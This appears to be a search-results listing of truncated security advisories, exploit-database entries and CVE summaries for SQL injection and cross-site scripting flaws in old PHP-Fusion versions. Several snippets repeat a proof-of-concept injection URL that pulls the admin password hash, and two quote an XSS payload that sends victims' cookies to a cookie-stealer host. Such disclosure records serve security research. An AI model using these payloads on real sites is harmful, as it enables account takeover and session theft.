812 matches found
[Full-disclosure] Secunia Research: PHP-Fusion Two SQL Injection Vulnerabilities
====================================================================== Secunia Research 06/10/2005 - PHP-Fusion Two SQL Injection Vulnerabilities - ====================================================================== Table of Contents Affected...
Fusionv-6.00.109.txt
PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...
PHP-Fusion SQL injection and exploit
Critical Security research: http://www.critical.lt Original Advisory may be found: http://www.critical.lt/?vulnerabilities/73 Vulnerable product: PHP-Fusion = v6.00.109 Vulnerability type: SQL Injection Risk: Highly critical Developer's site: http://www.php-fusion.co.uk About: PHP-Fusion, a...
phpfusion600109.txt
PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...
PHP-Fusion < 6.00.110 Multiple SQL Injection Vulnerabilities
Binary data 3245.prm...
PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...
PHP-Fusion 6.00.109 - msg_send SQL Injection
PHP-Fusion 6.00.109 - msgsend SQL Injection SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ inserted the above for a better description /str0ke 19.17 28/09/2005 -- PhpF600109xpl.php PHP-Fusion...
PHP-Fusion 6.00.109 (msg_send) SQL Injection Exploit
No description provided by source. php if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ inserted the above for a better description /str0ke 19.17 28/09/2005 -- PhpF600109xpl.php...
PHP-Fusion 6.00.109 (msg_send) SQL Injection Exploit
Exploit for unknown platform in category web applications ==================================================== PHP-Fusion 6.00.109 msgsend SQL Injection Exploit ==================================================== SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELE...
PHP-Fusion < 6.00.108 BBCode Nested URL Tag XSS
According to its version number, the remote host is running a version of PHP-Fusion that reportedly does not sufficiently sanitize input passed in nested 'url' BBcode tags before using it in a post. An attacker may be able to exploit this flaw to cause arbitrary script and HTML code to be execute...
CVE-2005-2783
Cross-site scripting XSS vulnerability in PHP-Fusion 6.00.107 and earlier allows remote attackers to inject arbitrary web script or HTML via nested, malformed URL BBCode tags...
CVE-2005-2783
Cross-site scripting XSS vulnerability in PHP-Fusion 6.00.107 and earlier allows remote attackers to inject arbitrary web script or HTML via nested, malformed URL BBCode tags...
CVE-2005-2783
CVE-2005-2783 is a cross-site scripting (XSS) vulnerability in PHP-Fusion versions up to 6.00.107 (and earlier). The issue arises from insufficient sanitization of nested, malformed URL BBCode tags, allowing remote attackers to inject arbitrary script/HTML when a user views a post containing the ...
phpfusionXSS2.txt
Hello we haved found a vulnerability in PHP-Fusion =v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode. Well here is the exploit. URL=http://aaaaaa.com/URurl=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;...
PHP-Fusion <= v6.00.107 XSS exploit
Hello we haved found a vulnerability in PHP-Fusion =v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode. Well here is the exploit. URL=http://aaaaaa.com/URurl=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;...
PHP-Fusion 4.0/5.0/6.0 - BBCode URL Tag Script Injection
source: https://www.securityfocus.com/bid/14688/info PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an...
PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection
PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection source: https://www.securityfocus.com/bid/14688/info PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to...
PHP-Fusion < 6.00.11 Multiple Vulnerabilities
Binary data 3194.prm...
CVE-2004-2438
PHP-Fusion 4.01 is affected by a cross-site scripting (XSS) vulnerability that allows remote attackers to inject arbitrary web script or HTML via the Submit News, Submit Link, or Submit Article fields. The CVE-2004-2438 entry documents this XSS issue across multiple input points but provides limi...
CVE-2004-2437
PHP-Fusion 4.01 is affected by CVE-2004-2437 through multiple parameter-based SQL injection flaws (rowstart in index.php and members.php, and comment_id in comments.php). Root cause: improper validation of user-supplied input, enabling remote attackers to execute arbitrary SQL commands. The vulne...